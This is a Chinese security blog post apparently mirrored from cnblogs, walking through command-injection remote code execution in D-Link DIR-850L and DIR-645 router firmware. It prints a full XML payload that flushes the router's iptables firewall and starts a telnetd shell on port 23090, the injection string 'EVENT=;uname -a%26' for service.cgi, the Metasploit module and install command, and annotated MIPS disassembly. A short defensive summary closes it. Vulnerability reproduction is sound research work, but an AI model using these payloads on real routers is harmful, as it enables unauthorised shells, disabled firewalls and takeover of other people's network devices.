zoukankan      html  css  js  c++  java
  • 路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

    前言

    这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

    漏洞分析

    根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

    php 源代码

    代码如下:

    image.png-358kB

    这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

    通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

    首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

    image.png-246.2kB

    构造 xml 数据:

    <postxml>
    <module>
    	<service>DEVICE.TIME</service>
    	<device>
    		<time>
    			<ntp>
    				<enable>1</enable>
    				<period>604800</period>
    				<server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
    			</ntp>
    			<ntp6>
    				<enable>1</enable>
    				<period>604800</period>
    			</ntp6>
    			<timezone>61</timezone>
    			<time></time>
    			<date></date>
    			<dst>0</dst>
    			<dstmanual></dstmanual>
    			<dstoffset></dstoffset>
    		</time>
    	</device>
    </module>
    </postxml>
    

    这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

    image.png-246.5kB

    • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

    之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

    image.png-231.3kB

    返回 OK 则表示已经激活成功。

    这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

    image.png-282.4kB

    漏洞利用

    按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

    开启 telnetd 服务

    telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

    telnetd -p 23090 -l /bin/sh
    

    在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

    和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

    image.png-98.2kB

    图上表明正常获取了目标 busybox 的 shell。

    使用 metasploit 反弹 shell

    在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

    exploit/linux/http/dlink_dir850l_unauth_exec
    

    在 exploit-db 上的位置

    这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

    sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
    

    安装好后打开 msf, use exploit 设置好参数就行了。

    image.png-420.8kB

    这样就反弹了一个 busybox 的 shell。

    image.png-338.1kB

    DIR-645 命令执行

    在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

    固件下载地址:

    ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP
    

    service.cgi 分析

    同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

    image.png-268.3kB

    接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

    使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

    之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

    .text:0040CF58
    .text:0040CF58                 loc_40CF58:
    .text:0040CF58                 lui     $a0, 0x42
    .text:0040CF5C                 jal     sub_40CD50
    .text:0040CF60                 la      $a0, aEvent      # "EVENT"
    .text:0040CF64                 la      $a0, aAction     # "ACTION"
    .text:0040CF6C                 jal     sub_40CD50
    .text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
    .text:0040CF74                 la      $a0, aService    # "SERVICE"
    .text:0040CF7C                 jal     sub_40CD50
    .text:0040CF80                 move    $s0, $v0
    .text:0040CF84                 lw      $gp, 0x130+var_120($sp)
    .text:0040CF88                 beqz    $s2, loc_40CFA4
    .text:0040CF8C                 move    $s1, $v0
    .text:0040CF90                 lui     $a0, 0x42
    .text:0040CF94                 la      $t9, lxmldbc_system
    .text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
    
    • 注意 mips 的流水线效应。

    lxmldbc_system 函数中调用了 system 函数,跟进分析一下

    开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

    vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)
    

    vsnprintf 函数的解释:

    函数原型:int vsnprintf(char *str, size_t size, const char *format,va_list ap);
    函数说明:将可变参数格式化输出到一个字符数组
    参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

    这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

    接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

    .text:004133E4                 la      $t9, system
    .text:004133E8                 nop
    .text:004133EC                 jalr    $t9 ; system
    .text:004133F0                 move    $a0, $s0         # command
    

    也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

    所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

    • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

    system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

    • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

    image.png-253.7kB

    总结

    DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

    参考文章

    https://www.freebuf.com/articles/terminal/164680.html

  • 相关阅读:
    你自己不优秀,就算认识再多优秀人又有何用
    史玉柱和他老同学的一段故事
    哪有雪中送碳,都是锦上添花
    围城之困
    心已死,梦前行
    一位销售高手逼单经历!
    Python--函数return多个值
    Python--内置函数
    Python--小程序
    Python--递归
  • 原文地址:https://www.cnblogs.com/H4lo/p/10996949.html
Copyright © 2011-2022 走看看